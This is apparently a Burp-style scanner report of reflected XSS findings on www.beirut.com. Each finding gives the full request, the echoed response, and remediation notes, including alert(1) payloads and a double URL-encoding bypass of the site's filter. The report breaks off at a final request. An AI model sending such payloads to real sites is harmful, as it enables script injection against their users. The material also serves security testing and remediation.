GET /ThingsToDo/Festivals30f44'-alert(1)-'fbf0ff05bf/272910464 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:09:11 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55426
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='ThingsToDo/Festivals30f44'-alert(1)-'fbf0ff05bf'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb3b7"><a>cd78af03c39 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDocb3b7"><a>cd78af03c39/Gatherings/9274143605 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:54:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62481
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=blue&indexpage=ThingsToDocb3b7"><a>cd78af03c39/Gatherings&listingtype=events.php&Types="> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 54a8f'-alert(1)-'5c8fa22cc09 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo54a8f'-alert(1)-'5c8fa22cc09/Gatherings/9274143605 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:04:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63289
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='ThingsToDo54a8f'-alert(1)-'5c8fa22cc09/Gatherings'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 621ed"><a>df0156576a4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo/Gatherings621ed"><a>df0156576a4/9274143605 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:06:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56495
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=orange&indexpage=ThingsToDo/Gatherings621ed"><a>df0156576a4&listingtype=events.php&Types=14"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 26451'-alert(1)-'fc0e4a8341b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo/Gatherings26451'-alert(1)-'fc0e4a8341b/9274143605 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:15:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56670
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='ThingsToDo/Gatherings26451'-alert(1)-'fc0e4a8341b'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e45e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e34969f99ff4 was submitted in the REST URL parameter 4. This input was echoed as 5e45e"><script>alert(1)</script>34969f99ff4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Gemmayzeh/Karaoke-Night-at-Dice/19215e45e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e34969f99ff4 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:34:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=19215e45e"><script>alert(1)</script>34969f99ff4&randstyle=green"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8903e%2527%253balert%25281%2529%252f%252f0b6b7031eb1 was submitted in the REST URL parameter 4. This input was echoed as 8903e';alert(1)//0b6b7031eb1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Gemmayzeh/Karaoke-Night-at-Dice/19218903e%2527%253balert%25281%2529%252f%252f0b6b7031eb1 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:36:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Index'; var initfacebox=''; var contactid='19218903e';alert(1)//0b6b7031eb1'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 382ca%2527%253balert%25281%2529%252f%252f69c1aa4ab53 was submitted in the REST URL parameter 4. This input was echoed as 382ca';alert(1)//69c1aa4ab53 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Hamra/Contact-Workshop-For-Beginners/6138382ca%2527%253balert%25281%2529%252f%252f69c1aa4ab53 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:35:55 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Index'; var initfacebox=''; var contactid='6138382ca';alert(1)//69c1aa4ab53'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 322c3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebeaa1e96712 was submitted in the REST URL parameter 4. This input was echoed as 322c3"><script>alert(1)</script>beaa1e96712 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Hamra/Contact-Workshop-For-Beginners/6138322c3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebeaa1e96712 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:33:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=6138322c3"><script>alert(1)</script>beaa1e96712&randstyle=magenta"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77b09%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed52038f0d04 was submitted in the REST URL parameter 4. This input was echoed as 77b09"><script>alert(1)</script>d52038f0d04 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Hamra/One-Man-Nation-and-Kirdec-Live/600077b09%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed52038f0d04 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:28:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=600077b09"><script>alert(1)</script>d52038f0d04&randstyle=green"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1cb14%2527%253balert%25281%2529%252f%252f5a59de710bb was submitted in the REST URL parameter 4. This input was echoed as 1cb14';alert(1)//5a59de710bb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Hamra/One-Man-Nation-and-Kirdec-Live/60001cb14%2527%253balert%25281%2529%252f%252f5a59de710bb HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:30:05 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Index'; var initfacebox=''; var contactid='60001cb14';alert(1)//5a59de710bb'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6bf2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee39e0afcf6e was submitted in the REST URL parameter 4. This input was echoed as b6bf2"><script>alert(1)</script>e39e0afcf6e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Hamra/Yasmina-Fayed/6158b6bf2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee39e0afcf6e HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:40:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=6158b6bf2"><script>alert(1)</script>e39e0afcf6e&randstyle=magenta"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f6eb4%2527%253balert%25281%2529%252f%252f4d324e216e was submitted in the REST URL parameter 4. This input was echoed as f6eb4';alert(1)//4d324e216e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Hamra/Yasmina-Fayed/6158f6eb4%2527%253balert%25281%2529%252f%252f4d324e216e HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:41:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Index'; var initfacebox=''; var contactid='6158f6eb4';alert(1)//4d324e216e'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39723"><a>09dc4a4ee5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo39723"><a>09dc4a4ee5/Live-Music/560568055 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
